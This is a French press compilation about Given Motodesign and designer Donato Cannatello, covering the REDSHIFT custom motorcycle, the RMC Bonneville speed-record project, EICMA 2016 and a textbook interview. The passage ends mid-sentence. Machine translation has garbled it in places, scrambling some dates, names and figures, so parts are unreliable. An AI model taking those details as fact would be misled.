PRESSE
Super Spéciale N ° 14
dernier 4 Juillet au garage Milan Vu Motodesign a été présenté REDSHIFT, una moto personnalisé su la base CR&S EFFECTUE. Nous savons tous CR&S et ses travaux sur deux roues, nous nous souvenons tous duu avec son bicylindre puissant, une moto « fait main, son cœur, à Milan ", conçu pour la production de masse mais qui est resté très artisanal et plein de caractère, spécial déjà à l'origine et rendu encore plus spécial par une équipe d'experts en design.
Pour découvrir tous les secrets de cette moto, nous avons décidé d'interviewer Donato Cannatello, ancien designer en chef chez CR&S e ora leader del équipe Donné.
Nous sommes chaleureusement accueillis dans l'atelier meublé avec amour où REDSHIFT est né. Allons discuter dans le bureau mezzanine d'où l'on peut voir tout l'atelier et les gars de l'équipe au travail.
- Tout d'abord, comment est née la réalité de Given Motodesign?
Given est né substantiellement après mon expérience moto dans certaines entreprises telles que CR&S, Incomparable, Aprilia et autres.
J'ai préféré ouvrir mon propre espace et me concentrer sur une entreprise qui pourrait donner de l'espace à mes idées. Ainsi est né Given qui n'est autre que la traduction en anglais de mon nom "Donato".
Ici, j'essaie de mettre mes expériences du concept et du design au travail dans l'atelier à bon escient ... car dans de petites et belles entreprises comme CR&S, où nous étions 10, évidemment tu t'occupes de la conception mais il faut aussi aller à l'atelier pour monter et vérifier toutes les étapes... et j'ai donc eu une expérience à 360° dans le développement de la moto.
journal de voitures
En regardant le vélo, Vous ne pouvez pas savoir la marque. Beaucoup moins que ce qui est bon ou pas conduire. Mais une chose est certaine: Qu'on le veuille ou non motos, il est impossible de rester indifférent à la machine sur mesure pour raison, une petite entreprise de design situé à Milan, en Italie. Il est là que le Luiz brésilien « chauve » Mingione travaille, donnant la forme physique aux projets designer italien Donato Cannatello.
Sous les nouvelles façons de vélo, il est CR&S porte. Un CR&S était un fabricant artisanal qui est né en 1992 à Milan. L'acronyme signifie « coureurs et superbikes café ». Duu signifie deux dans le dialecte Milanese, et désigne le moteur 2.000 cm3. Le modèle a été lancé en Moto Salon de Milan (EICMA) en 2009. selon Mingione, chaque unité vendue par 40 milliers d'euros.
La fonction est de donner des formes aux projets
La fonction de mise en forme est Mingione en fibre de verre et l'aluminium, et réaliser des impressions 3D, pour donner forme aux idées créées par Cannatello. Le concepteur est venu travailler dans leur propre CR&S e na Aprilia, entre autres fabricants de moto.
Comme il n'ont été produits 100 unités modèles et maintenant la marque ne fonctionne pas, tout vélo CR&S serait assez exclusive. cependant, il y a toujours des clients qui veulent encore plus exclusive. Tel est le cas du propriétaire de cette unité. Mingione informe qu'il a été fait pour un Hollandais qui a des restaurants en Italie et en Nouvelle-Zélande. coût de personnalisation 24 milliers d'euros (environ R $ 110 mille). Le prix comprend projet, prototypage, pièces et main d'oeuvre. Les travaux ont duré six mois.
Il a également travaillé sur un CR&de S (un, en dialecte milanais), le second modèle de la marque italienne. Dans ce cas,, le moteur a 650 cm3.
Une fois que le vélo est prêt, Brésil promenades avec elle pour voir si tout est en ordre. Mingione est un pilote expérimenté, Je 2002 Il a remporté le Paris-Dakar, dans la catégorie des 250 cm3.
maintenant, il dit qu'il commence à travailler sur un nouveau projet, Suzuki SV 650, produite en 1999. « Le vélo ne vaut pas mille euros (R $ 4.500), mais le propriétaire va dépenser environ 6 milliers d'euros (R $ 27 mille) de faire quelque chose d'unique ", dit.
Selon lui, la première étape consiste à démonter complètement le vélo pour être personnalisé. puis, l'image est repeint et recevra les nouvelles pièces, un processus qui prend environ quatre mois, en fonction de la complexité.
Mingione fonctionne par projet. Il est en il y a un an Étant donné, et a l'intention de s'y poursuivre jusqu'à la fin de l'année à venir.
Il dit qu'il a décidé d'essayer la vie à Milan parce que les parents de sa femme avait un restaurant en ville. avant que, cependant, Mingione a traversé plusieurs pays.
moulage en argile appris Honda a aidé
Il a rejoint Honda au Brésil 1993. entre 98 e 99, après le lancement de Honda Biz, où il a travaillé sur le premier prototype, Il a fait un stage au siège de l'entreprise, au Japon. là, Il a appris à construire des prototypes avec de l'argile, une sorte d'argile industrielle, employé dans les modèles de construction.
Après avoir quitté la marque japonaise, en 2006, Il a passé un mois en Chine, à l'invitation d'affaires. L'objectif était de sélectionner les marques de moto qui pourraient être vendus au Brésil.
Cette visite de « plus 30 entreprises ", on est venu à venir au pays, un Iran, qui a été fermé en 2013.
suivant, Mingione était pour Ford en Turquie, qui se tenait 2015 une 2016, travailler avec de l'argile dans le développement de camions à l'intérieur.
en 2017, Il est retourné en Chine. Il était aussi l'entraîneur d'un consultant (united Motors), société colombienne basée aux États-Unis, Je voulais rendre le pays une moto. par la suite, Il se dirigea vers Milan, où vous voulez rester jusqu'à la fin de l'année prochaine.
« Nous devons balayer sol très magasin »
Qui rêve de suivre la même voie, Mingione alerte aux difficultés: « Motocyclette indien pour ceux qui aiment et veulent apprendre de nouvelles choses, tendance, la technologie des matériaux et le développement ", dit. « Mais pour un débutant, il est pas facile. Vous devez grille et balayer sol beaucoup de magasins ».
tout cela, clair, sur les questions juridiques (visa de travail) et de la communication. La langue peut être une barrière, selon le pays choisi. En ce qui concerne la rémunération, Mingione estimé qu'en Italie, un débutant recevra entre 600 e 800 euros par mois (R $ 2.700 un R $ 3.600).
DUU REDSHIFT – La contribution des designers dans la personnalisation de motos
Motocyclisme est une activité dans laquelle convergent aspects harmonieusement différents de la conception, le principal est de trouver une solution technique au problème “fonctionnalité de transport”. Les fabricants cherchent constamment à optimiser les performances dans toutes ses variantes, l'objectif est de rendre le plus efficace et capable de résoudre les problèmes des utilisateurs parlant également sur le style en soulignant la composante émotionnelle du milieu. L'émotion est l'élément principal, pour les motards autour d'eux dans leur course à leurs moyens il a un look complètement différent, avoir un contact réel et direct avec tout. Ils sont des consommateurs actifs, vivre la scène de rue au lieu de regarder, ce qu'ils ressentent est une passion dévorante qui peut vous faire sentir le frisson de la liberté totale. La thèse suivante comprend une étude de l'expérience de travail de la personnalisation d'une moto CR&S EFFECTUE, le client en question est un organisme privé dont la demande est de, à partir de
une base existante, rendre le milieu par l'ajout de composants unique qui serait en mesure d'améliorer l'aspect esthétique de rendre tangible
Les souhaits du client. Merci à la passion forte
accumuna que le concepteur et le client a été créé
une liaison d'empathie, qui a permis DONNÉ
motodesign pour répondre pleinement aux néces
–
sité du consommateur, faisant une base classique
L'un vrai objet de collection. Accomu
–
né de ce sentiment fort, juste l'APEM
–
tia a fait de la communication avec le client très
simple et efficace, permettant aux concepteurs
de comprendre immédiatement les besoins du client et,
même dans certains cas, d'anticiper. dans ce
Il en est ainsi le travail d'équipe est favorisée Përmet
–
Je tends également au client de prendre part à
projet donnant une rétroaction immédiate sur la
études réalisées et prototypes.
A travers les technologies disponibles, DONNÉ
motodesign a été en mesure de réaliser un mez
–
zo il y avait une forte composante industrielle
tout en maintenant l'empreinte de l'artisanat
trouvé dans certains processus, cette entreprise
–
ture et de pliage de plaques en aluminium
à la main par l'équipe. Le dialogue permanent entre les différents
secteurs a conduit à la création d'un produit
qui exprimerait le caractère du propriétaire, rive
–
Landone leur identité et leur être.
FANTÔME
ROBERTO VA À BONEVILLE
Le navigateur du Multivan à neuf heures trente nous arrête devant le portail fermé d'une ferme. de la voiture. Dans la cour d'une vieille dame, déjà, il sait ce que sera la question qui va se transformer. Devant moi au-delà de la porte grise, il a entendu les mêmes mots de Graziano Rossi, Marco Belli, Makoto Tamada.
« Et, Cette adresse est via Ca « Nine un, mais ils ont donné le même nom à une rue de la zone industrielle près d'ici. Vous devez revenir à Vérone. Au feu, tournez à gauche et au premier rond-point à droite. "
J'éteins le navigateur allemand et nous nous appuyons sur Google Map. Le smartphone Diego en dix minutes nous amène à la porte d'entrée de l'In-Motion. Gianna nous accueille dans le bureau. L'air conditionné crie, comme si elle serait, et à l'extérieur il y a quarante degrés. A travers le verre, dans le hangar, HRC et marques Minolta qu'ils connaissent MotoGP. Le long de la paroi d'une rangée de réservoirs de couleur avec la marque Zaeta. La jeune fille avec des packs leggings bleu dans des boîtes cercles Kineo prêts à être expédiés. Un beau cul….
Roberto nous a donné rendez-vous ici, la ferme de Jules Bernardelle, de faire des photos qui racontent la première tranche de ce projet fou. Des foules comme des projets qui lient les hommes proches des passions. Roberto Maria Crepaldi sessantino est un fils d'art. A dix-sept ans, il a accompagné les clients de la concession de son père pour aller chercher la voiture Enzo Ferrari. Au fil des années, il a contribué à mettre en Italie la marque Jaguar, Aston Martin, Triunph, Harley Davidson e Husquarna. en 1993 Il a fondé l'équipe CR&S Britten e con la Britten V 1000 Il a participé à trois éditions du Tourist Trophy.
aujourd'hui, avec la marque RMC, Cycles enregistrement moteur, Il travaille à aller sur le lac salé de Boneville et battre le verrouillage record de vitesse à 423 kmh.
Alors que Diego prépare les corps de caméra et lentilles, L'équipe de Roberto rencontre progressivement. Ugo Torri est un entrepreneur et un gentleman driver avec une passion pour les motos de vitesse et de belles. Giulio Bernardelle est le directeur technique du projet. Il a remporté deux monde avec Valentino Rossi et Roberto Locatelli, Il a été directeur technique du Minolta Honda et Konica Pramac Honda en MotoGP équipe. Donato Cannatello est le concepteur responsable du corps fuselé de la moto. Dario Marchetti a couru sur la piste et sur la route, dans le monde, en superbike, nell'endurance, un e Macao Suzuka. En Amérique, il a déjà gagné à Daytona et le lac salé de Boneville sera presque couché sur RMC pour exécuter plus de quatre cents par heure vers le dossier.
Les gars de In-Motion mènent hors du hangar le prototype du CMR. L'équipe se blottit autour de la moto. Diego commence à tirer.
Imaginez un après-midi de fin d'hiver, un homme est assis à son bureau, il a devant lui une feuille vierge sur laquelle il va commencer à dessiner les premiers, être excité, des marques de crayon donnant forme à l'esquisse de son rêve, sur deux roues, avec sa propre marque, ce qui ne cache certainement pas les objectifs ambitieux qu'elle souhaite atteindre, Cycles enregistrement moteur.
Cet homme s'appelle Roberto Maria Crepaldi, et il a déjà réalisé plusieurs rêves sur deux roues. Il est né professionnellement dans l'environnement à quatre roues, commencer à travailler avec son père, qui était un concessionnaire Ferrari. Le sien, très jeune, de cette manière, il a l'opportunité de faire connaissance avec une personne qui est importante pour sa formation et qui en sait beaucoup sur les rêves ambitieux réalisés, Enzo Ferrari.
Après l'expérience dans le secteur automobile, où il passe de Ferrari à Jaguar à Aston Martin, Roberto est dédié à sa grande passion, motos, et ça ne s'arrête pas au plaisir de les conduire. Au début des années 80, il participe à la relance en Italie de trois marques très connues comme Harley Davidson, Triumph et Husquarna. en 1993 fonda il Team CR&S, CaféRacer & Superbikes et rencontrer un autre personnage très important, le Néo-Zélandais John Britten, un architecte passionné de moto qui a conçu et construit son vélo de course dans son garage
son nom de famille. Moteur bicylindre en V 1000 cc avec des solutions cyclistes ingénieuses et innovantes, Britten court dans la nouvelle catégorie B.E.A.R.S (réservé aux prototypes de motos non japonaises à deux et trois cylindres) et l'équipe CR&S devient le point de référence en Europe et avec le Britten V1000 participe à de nombreuses courses internationales, comprenant 3 Tourist Trophy sur l'île de Man et remporte le championnat B.E.A.R.S. Épreuves mondiales.
Roberto et John sont de très bons amis, ils ont des idées et des objectifs communs et ils ont aussi beaucoup de passion en commun, assaisonné avec une énergie égale, lui permet d'atteindre ces objectifs techniques et sportifs ambitieux. Comme beaucoup d'histoires belles et passionnantes, malheureusement, cela aussi traverse un moment terrible où, en septembre de 1995, aussi mauvais qu'un mal inexorable emporte John, juste 45 ans. Roberto et l'équipe CR&S retour au Tourist Trophy en 1996, sur cette île magique perdue dans la mer d'Irlande, où tout a commencé quelques années plus tôt, et avec Shaun Harris au volant, le Britten V1000 passe sous le drapeau à damier du Senior TT, une grande satisfaction de se souvenir et d'honorer son fabricant avec un autre sceau sportif important qui lie inextricablement ce partenariat gagnant venu des antipodes et qui ne manquera pas de nous étonner et nous exciter à nouveau dans le futur ... soyez assurés.
en 2002 Roberto devient un fabricant et la marque CR&S présente deux motos intéressantes et originales, le monocylindre CR&S VUN nel 2005 et le bicylindre CR&S DUU dans 2009.
Revenons à cette feuille de papier, que quelques minutes plus tard, il a très peu de blanc. Roberto, que même en cela il a des idées très claires, en plus d'avoir tracé les lignes du vélo qui devront naître, il a déjà en tête la formation qui devra transformer ce projet, d'abord le raffiner puis le matérialiser, donner vie à un produit vraiment unique et terriblement rapide, assez rapide pour honorer la marque qu'il portera sur le char dans une tentative d'établir un nouveau record de vitesse, plutôt deux, sur le lac salé de Boneville.
L'équipe doit être cohésive et efficace, à cause du travail à faire, il y aura beaucoup de choses et nous devons faire les choses, très bien. Pour que Roberto est rejoint par Towers Hugo, entrepreneur, grand amateur de deux roues et des réalisations ambitieuses, il sera beaucoup, Ugo est le directeur du projet RMC.
Pour la partie technique du projet et des responsabilités exécutives de cette aventure fascinante est prise par l'ingénieur Giulio Bernardelle, avec une vaste expérience dans les courses à la fois dans les moteurs à deux temps, contribution aux titres mondiaux de Roberto Locatelli et Valentino Rossi chevauchant Aprilia 125 e 250 cc, tous deux dans le domaine des moteurs à quatre temps avec un passé en MotoGP.
L'aérodynamique est l'autre chapitre d'une importance fondamentale pour battre le record actuel, et à Boneville pour la catégorie Partiellement rationalisée, partiellement carénée avec pilote exposé, où les nôtres ont décidé de s'essayer, et de 423 km / h. Et, vous avez bien lu, c'est quatre cent vingt-trois kilomètres par heure, et les lignes des vélos seront éditées et construites par Donato Cannatello, propriétaire de Given, entreprise dynamique spécialisée dans l'étude de prototypes et dans la construction de carrosseries complexes.
Toujours dans le choix du pilote, Roberto montre à nouveau qu'il sait vraiment comment le faire. Celui qui aura le fardeau, et l'honneur, tourner la manette des gaz s'appelle Dario Marchetti, chauffeur professionnel avec une carrière de plus de trente ans, Dario a couru sur de nombreuses pistes et pistes parmi les plus importantes et fascinantes au monde, de Daytona à Macao récoltant de nombreux succès. Lors d'une conversation agréable, Dario se confie à moi: «Sai, le fait qu'ils m'ont choisi non seulement me remplit de fierté, Je suis ravi et vraiment honoré de faire partie de cette équipe, Je connais Roberto depuis longtemps et je le respecte beaucoup, nous sommes amis et j'ai déjà couru pour lui il y a quelques années, directement sur ce fantastique vélo appelé Britten V1000 du Team CR&S ". Tout revient, magiquement, avec des passions et des émotions qui se retrouvent et se mêlent. "Puis", continue, «Ma longue carrière ne manque que de deux choses, une tentative de record et le Trophée du Tourisme de l'île de Man auquel j'ai dû participer dans les années 1980 mais pour ce dernier il est maintenant trop tard ".
Grand Dario, pensons maintenant au Record puis au TT – conçu comme tour d'honneur – peut-être que quelque chose peut être fait …mais pour le moment on ne révèle rien et on reste concentré sur Bonneville.
L'équipe est complétée par le Media Manager Riccardo Capacchione, journaliste professionnel ainsi que testeur valide pour de nombreux magazines spécialisés et Raffaele Canepa, photographe, et réalisateur qui agira en tant que producteur média.
Le projet est vraiment intéressant et techniquement très intriguant. Un châssis à structure mixte abritera le groupe motopropulseur à aspiration naturelle un 8 cylindres, très compact, positionné longitudinalement. Les cylindrées seront de 2000cc pour "Red Spirit", qui rend hommage à l'immense culture moto italienne, depuis de nombreuses années, le point de référence absolue pour toutes les autres nations, et 2500 cc pour « Tribute to John Britten » pour honorer ce personnage brillant avec peu de ressources, assisté par une poignée de techniciens amis, Il a créé l'une des meilleures motos de course jamais existé, l'étanchéité de la liaison solide entre la vitesse et John. en 1993 une torpille motorisée Britten V1000 a conquis le record du monde dans le quart de mile et le mile avec départ arrêté et le kilomètre volant.
Les travaux avancent rapidement et dans quelque temps nous pourrons entendre le son de ce puissant moteur qui aura une puissance de plus 400 cavalli. Le compte à rebours pour la Boneville Speed Week a commencé 2017. Ghost aura le plaisir et l'honneur de raconter toutes les étapes évolutives de cette belle et passionnante aventure.
Merci Roberto et merci à toute l'équipe RMC. Approches de Bonneville, démarrons les moteurs!!!
Texte: Jetée Giuseppe Ortalda
Photo: Diego Mola
MOTO.IT
Inverser cet ordre: ce que vous lisez est le commentaire et qui voudra de vous écrire les lecteurs ci-dessous l'article réel sur l'écran spécial et sur mesure à EICMA 2016: Je me place en dehors du journalisme et à l'intérieur tout droit dans le tumulte sauvage de l'opinion personnelle, quelque chose antipathie / de sympathie comme la personnalisation, et ses multiples facettes, qui, par définition, est un lieu de confrontation entre les manières opposées de la vie et motocyclisme asymptotique, donc je demande à chacun de tenir compte de ces lignes un simple commentaire: Le véritable article, je vais écrire les lecteurs prêts.
...
Pour essayer de me orienter dans les centaines de phares que je clignotaient persuasif, et pour en savoir plus, me suis laissé séduire par le stand de Motodesign Étant donné que exposé entre autres un - Fait intéressant, à mon avis - Spécial à la nation Kawasaki ZRX 1100 (appelé « Fuck ») en collaboration avec Officine Riunite Milanesi, ce qui m'a intrigué beaucoup de disques polygonaux, pour garantir un fonctionnement rigoureux qui a mis le même fournisseur, le légendaire Enrico Discacciati lui-même!
Donato Cannatello (Donato donnée ... entendu?), propriétaire donné et l'expérience de conception en CR&S, Incomparable, combat, Aprilia, Il a été patient, et d'échanger une conversation avec moi m'a exposé son point de vue sur EICMA 2016 et l'avenir de la personnalisation.
Pour mettre Given et opinions rapportées par Donato, Nous ajoutons que les accords avec les deux pour fournir un service de planification et de conception pour ceux qui veulent construire un prototype (du concept de pré-série pour mener à la production), tant les particuliers qui demandent des projets « cadre off » sur leurs motos.
« Bizarrement, nous avons eu beaucoup de commentaires de ZRX que le duu, à la fois exposées dans notre stand, malgré duu est sans aucun doute un design plus raffiné et ZRX demi beaucoup moins cher, mais évidemment le plus « receveur des yeux"».
Et comment évaluez-vous le niveau du Salon dans les coutumes et spéciale?
« Le niveau de EICMA, si on se limite à la coutume et spéciale, il semble beaucoup plus élevé et mature qu'il ya quelques années: des réalités artiginali, qui produisent encore des résultats exceptionnels, Nous basculons à une approche plus mature à la fois sur la conception technique des parties. Du point de vue de la moto, plutôt, J'ai adoré la Harley "OPERA" South Garage, très élégant; il a également remporté le concours, mais comme vous le savez le concours les gagner pratiquement un peu tout (Donato fait référence à la myriade de catégories et non Note de très nombreux éditeur de participation); le coin semblait un peu personnalisée au lieu « humilia, peu d'espace et décentralisé que le centre vital du Salon, et cela semble un peu contre-intuitif: il est la partie la plus difficile, au lieu de cela, beaucoup ne l'ont pas visité parce qu'ils ne savaient pas que c'était dans le coin du pavillon 2; c'est vrai aussi qu'il y a un segment du public qui ne s'intéresse pas vraiment à la coutume, Ils sont ceux qui ont le V-Strom avec le tronc derrière, mais il y a aussi beaucoup de vrais fans qui préfèrent voir un billet de pièce au lieu n'a pas même réussi à nous trouver ».
Sul futuro del personnalisation? Donato n'a aucun doute:
« La percée, à mon avis, il est très clair du passé: dans la conception d'un particulier, il est passé du reste du vélo sur le banc et improvise, jouer en premier, comme dans notre cas, un rendu et la numérisation 3D, puis de travailler directement sur l'ordinateur, et sur les côtés de la main record, en feuille ou tout simplement imprimé en 3D; Personnalisation de l'avenir du marché ne voient pas dans les compétences des concepteurs, parce que tout le monde aujourd'hui peut prendre un ordinateur et de mettre un enfant par le biais de concevoir et mettre en œuvre une imprimante 3D, mais je pense que ce sera dictée par des facteurs juridiques, comme le respect des normes d'homologation et l'évolution du style et des tendances: il faut voir combien de temps ce phénomène personnalisation très artiginale, Je crois que le fait main pourrait très bien être bientôt supplanté par une personnalisation plus conçue, conçu et développé plus ».
Une dernière question: parce que les pneus tessellés sur un vélo de route? (D'accord, Je sais, c'est ma croisade personnelle ...)
«C'était le choix du client.. mais je dois vous dire que s'il n'y avait pas cette demande ZRx « Maialona » nous aurait pas tiré comme vous le voyez, comprendre le concept de soutien des muscles abdominaux et non les parties inférieures du réservoir, ce qui semble être une solution ... « Le meilleur ». Peut-être sans les pneus noueux nous aurions fait un mouvement moins anguleux, rond ".
Je laisse la galerie de motos, avec l'admiration pour tous les exposants du secteur personnalisé et spécial qui ne sont certainement pas là pour un retour économique immédiat, mais qui investissent souvent du temps et de l'argent possédés par la passion de toujours déplacer la barre de l'excellence et de la folie un peu plus haut.
techniques d'étude et de conception
techniques d'étude et de conception
Publié en Chine avec une circulation de 75.000 copie, pour être utilisé comme un manuel technique à la faculté d'ingénierie chinoise, il volume "Etude technique et Design" est le troisième d'une série réussie de manuels techniques écrits par le professeur prolifique. pierre Wen.
Sur intérieur décrit certains processus de production adaptés de nous, les prenant par exemple pour les jeunes étudiants chinois.
La publication de ce livre a été une expérience extrêmement agréable et intéressant.
résumé
La température était seulement、Chenzhen Yi、Su Bolin、Enrico Leonardo Fagone、Donato Cannatello modifié la « source de la conception des produits et une percée » du point、ligne、surface、corps de départ，Pour retracer l'origine de la forme du produit，Les points de source pour recommencer，Nous avons étudié la possibilité d'une interprétation du style riche du，Pour aider les lecteurs à la conception de la dialyse de la nature。Ce livre présente la méthode de modélisation six，4Une étape de modélisation，3unité Produits Conseils，Il fournit une méthode pratique et efficace de la modélisation pour le lecteur engagé dans le travail de conception。Pour la surface de forme libre，hybride proposée、Ci-joint et de l'action de penser trois types de techniques de modélisation，Il fournit des solutions ciblées pour le lecteur de contrôler la modélisation de surface de forme libre difficulté。Ce livre vise à façonner l'inertie psychologique，5 groupes procédé proposé de modélisation inertie psychologique et percée，Pour le lecteur de briser les limites de leur propre style，Dans le monde de la modélisation plus riche ouvre une fenêtre。Le livre a interviewé un certain nombre de grands designers européens，Des visites de terrain à un certain nombre de premières entreprises de conception de l'Italie，Fournir aux lecteurs une nouvelle information de première main conception，Grâce à une analyse approfondie de ces cas de conception，Nous pouvons aider le lecteur à comprendre ces excellents concepteurs des méthodes de conception et un excellent processus de modélisation de cas de conception，Il aide à la vision de la conception de lecteurs et d'améliorer le niveau esthétique du lecteur。
entretien Résumé:
1une. La forme de motos a subi de grands changements depuis leur émergence. Que pensez-vous pourrait être les facteurs impliqués dans ce processus de changement?
Je ne suis pas d'accord entièrement.
L'âme de la moto est restée pratiquement inchangée dans plus de cent ans.
Et cela est confirmé par certains modèles actuellement en production qui réinterprètent le style des motos classiques car ils rappellent l'essence de motos; deux roues, un moteur, vibrations et émotion.
Les changements dans les formes et les styles qui ont suivi inévitablement dans le temps dépendent à mon avis sur 4 les raisons: technique, mode, évolution culturelle et la course.
Pour la première 80 ans, nous sommes concentrés principalement sur l'évolution technique, la production de machines qui visaient plus de enything autre à la perfection et de la performance.
À la fin 20 ans, au lieu du développement des éléments les plus intéressants de la technique et la course arrêtée, laissant l'évolution de la moto aux seuls aspects socio culturels /.
Comme des aspects tels aujourd'hui prédominent dans la production de motos et de générer des nostalgiques, absurde, modèles futuristes ou hyper détaillées.
.1b. De quelle manière la forme de motos européennes pourrait évoluer à l'avenir?
design européen, tels que la conception orientale et occidentale, se spécialisera suivant exigences spécifiques; forme est toujours définie par le lieu où commence la production.
En dépit de la contamination culturelle inévitable, La production européenne vise toujours une moto qui est à la fois fonctionnelle et passionnée, un parfait équilibre entre les caractéristiques de conduite et esthétiques, amusant et utilité. Tout pour aller de pair avec notre propre territoire, si inégale, avec des paysages variables, routes sinueuses et collines escarpées.
La production américaine est dédié à leurs plaines sans fin et longues routes droites, et en même temps la production orientale a tendance à suivre les marchés, villes et de la rue surpeuplée avec des produits extrêmement fonctionnels et rationnels.
- Chaque excellente conception de motos se caractérise par son propre style unique, transmettre aux clients des émotions et des connotations particulières. En tant que designer, comment voulez-vous illustrez la personnalité de la moto en utilisant le formulaire langue ?
Dans la conception de la moto, et plus généralement dans le design industriel, les volumes sont la principale caractéristique, le premier à transmettre un message au client.
En regardant quelque chose contre la lumière, on sent immédiatement son caractère: si elle transmet la puissance, légèreté, la vitesse, élégance ou toute autre chose.
La même chose se produit dans la nature, discerner dans l'obscurité d'un pit-bull d'un caniche seulement de son contour.
- design moto doit prendre en considération de nombreuses régions, telle que le châssis, le moteur et le tuyau d'échappement et ainsi de suite. Il semble compliqué et écrasante pour les débutants. Avez-vous des suggestions sur la façon d'équilibrer la peau (les parties de recouvrement) avec la structure pour parvenir à une unification parfaite?
Ça dépend: tirons-nous sur une feuille blanche ou travaillons-nous quelque chose?
En général, la conception devrait venir en premier, avant de tuyaux d'échappement, avant du cadre et avant que le moteur. La conception doit être la première approche à un projet de moto. Mécanique ensuite suivre les directives de la conception avec l'adaptation réciproque.
Si l'approche de la conception suit la planification (comme il arrive dans restyling), puis quelques points fixes doivent être décidées afin de procéder librement avec tout le reste. Pour les objets techniques tels que moto, il peut y avoir une règle facile: parties qui sont mécaniquement intéressant ou bien fait ne sont pas englobés, mais laissé à la vue. Si possible, il est préférable de redessiner une partie technique qui ne sont pas satisfaisantes et faire partie de la conception, au lieu de le recouvrir.
Il y a cependant une chose fondamentale dans notre conception, le point de vue d'une moto est jamais parfaitement latérale à la moto, mais est placé plus haut; nous allons concevoir ne pas alors seulement une belle vue latérale, souvent une bonne partie des volumes latéraux / supérieur est plus important que la vue latérale.
- Dans une certaine mesure, la vue en perspective, la lumière et l'ombre d'une moto est plus difficile à contrôler que ceux d'une voiture. Comment peut-on obtenir un meilleur contrôle en moto sketching? Pouvez-vous nous montrer S'il vous plaît le processus de dessin d'une moto( en utilisant 6 images pour expliquer les étapes de dessin). Pour les jeunes étudiants, Comment améliorer les capacités de dessin.
Compte tenu des difficultés de conception moto, on peut l'interpréter comme une conception multi-niveaux.
1Un premier niveau, vision globale, un second niveau, plus détaillé, un troisième niveau, encore plus détaillée, etc. Le premier niveau est le plus important, ce que le client obtient à première vue, ce que vous transmet le plaisir ou pour le plaisir d'un objet.
Je travaille en suivant cette règle.
A partir de la vue d'ensemble (volumes généraux) puis en suivant la définition des détails plus particuliers: la queue, le devant, le cadre, etc. à la hauteur des vis.
- Les motos et les voitures sont tous les véhicules de transport et la conception de la forme des deux sont naturellement connectés. ensuite, quoi, penses-tu, distingue chacun d'eux?
historiquement, l'utilisation et la fonction des voitures et motos ont toujours été différents et donc aussi la conception respective.
Maintenant, ils traversent, évolution dans toutes les directions.
Les voitures utilisées pour le transport ont la fonction principale, tandis que les vélos étaient plus liés à l'idée de la forme (amusement, goût, la vitesse).
Aujourd'hui, le marché tend à combler tout vide, et par conséquent, nous avons des voitures qui sont la forme pure et les motos qui sont fonction pure.
Pour les motos ce changement est maintenant consolidé sur le marché (à savoir, scooter), alors que cette nouvelle tendance pour les voitures est toujours pas prédominante, et des intérêts d'une petite niche du marché; mais je suis sûr que nous verrons bientôt les voitures avec le moteur à la vue, « Nu » comme les motos.
- Maintenant, de nombreuses nouvelles technologies, tels que la fibre de carbone et de LED, sont appliqués à la fabrication de motos. Comment ces nouvelles technologies influeront sur la conception de forme de motos?
Les nouvelles technologies ont toujours influencé la conception comme un élément fondamental de son processus de développement.
Personnellement, la principale contribution que j'ai reçu et apprécié des technologies modernes a été en chiffres de production.
Aujourd'hui, il est plus facile de construire une petite série de motos grâce à de nouvelles technologies telles que la fibre de carbone, LED, machines à commande numérique, matériaux de prototypage et de nouvelles.
Par exemple, prototypage et fraisage CNC appliquées à des matériaux modernes nous permettent d'avoir une pièce unique d'ABS, sans qu'il soit nécessaire de moulage par injection coûteux et difficile; en outre, grâce à des timbres de silicium, nous pouvons construire de petites séries de copies en polyuréthane à faible coût.
phares aussi polyelliptical (encore mieux avec la technologie LED) contribué à dépasser les limites de l'industrialisation. Ils peuvent être hided dans un carénage Plexiglas transparent, les façonner sans la nécessité d'homologuer une nouvelle lumière comme il était nécessaire avant.
Et enfin carbone et stratifiés en général nous libérer des limites structurelles de plastique, avec des améliorations esthétiques et mécaniques non seulement.
- Certains des meilleurs designs de motos sont complétées par l'artisanat. Comment est la valeur de la moto est exprimée par l'artisanat traditionnel?
J'aime et j'ai toujours été partisan du travail manuel.
Dans œuvre de conception moto est sensiblement la modélisation de l'argile et le niveau de détail est élevé, mais il faut du temps et des ressources économiques pour le processus d'ingénierie inverse nécessaire pour transformer tout sous forme numérique.
Je préfère utiliser les moyens numériques qui sont à notre disposition, évitant le passage analogique, de simplifier et d'accélérer le processus de création.
COUREURS 08 2009
Dans un Milan el coeur de plus en plus cont chez l'homme, Heureusement, il y a encore quelqu'un qui construit des motos avec le cœur et les mains.
séparément, avec soin et passion. Les histoires de momentum et tant d'hommes qu'ils ont dit, mais ceci est l'histoire d'une idée.
Une histoire simple, mais spécial dans son petit.
Si deux roues déplacent l'âme, le courage de quelques amis a réussi à apporter une marque de moto à Milan. Autrefois dans l'ombre des marques de Madonnina telles que Bianchi exploitées, Miller-Balsamo, Iso Moto, Parrilla, Guazzoni, Innocenti. Et Paton Peppino Pattoni, le dernier constructeur privé à se battre dans les GP contre les géants japonais, avec les quatre cylindres verts.
aujourd'hui, dans la ville de la mode, il y a le CR pour découper des motos sur mesure&S. Vue de l'extérieur, son siège est un petit hangar comme tant d'autres dans la zone industrielle de Settimo Milanese. Sauf pour une chose, motocyclettes queue à l'extérieur: se ressembler, mais ils ne sont pas identiques. Ils sont un peu monocylindre’ coureur de café, un peu’ taille de poche nue. Ils sont appelés Vun. Ils sont l'Idée. Les gens qui l'ont fait fonctionner sous le même toit, en tant que parties d'un même moto. L'atelier est au rez-de-chaussée, les murs sont recouverts d'affiches du Bol d'Or, Tourist Trophy et Assen. Le service de conception et de documents est sur la mezzanine ouverte (plutôt, Spasi Avert), dominé par le carénage sinueux superbike Britten V 1000. Roberto Crepaldi se trouve juste devant. Ce fut lui qui a fondé le Racers Café & Superbikes en 1992, après avoir quitté le numéro un ouvert avec Carlo Talamo et Max Brun. L'année suivante, il a rencontré John Britten, le brillant ingénieur-Zélandais célèbre pour son V 1000. Il trop vite à la poursuite d'une idée. Britten laisser, soutenu en Europe par CR&S, il présente dans les compétitions à travers le monde, jusqu'à la disparition du même Britten. Profiter de l'expérience d'entrepreneur dans le secteur automobile (Il avait été concessionnaire de Ferrari, Jaguar e Aston Martin), Crepaldi s'inspire du dernier projet de son ami John d'un monocylindre de course, monoplace, avec le rapport de poids et de puissance égale à une. un. de, en dialecte milanais… John Cabassi et Giorgio Sarti sont amis, entrepreneurs, penseurs vélos gratuits à 2002 Ils ont flanqué Crepaldi CR&S. Deux ans après Roberto Pattoni, fils Peppino et propriétaire de Paton, devenir partenaires du CR&S en tant que 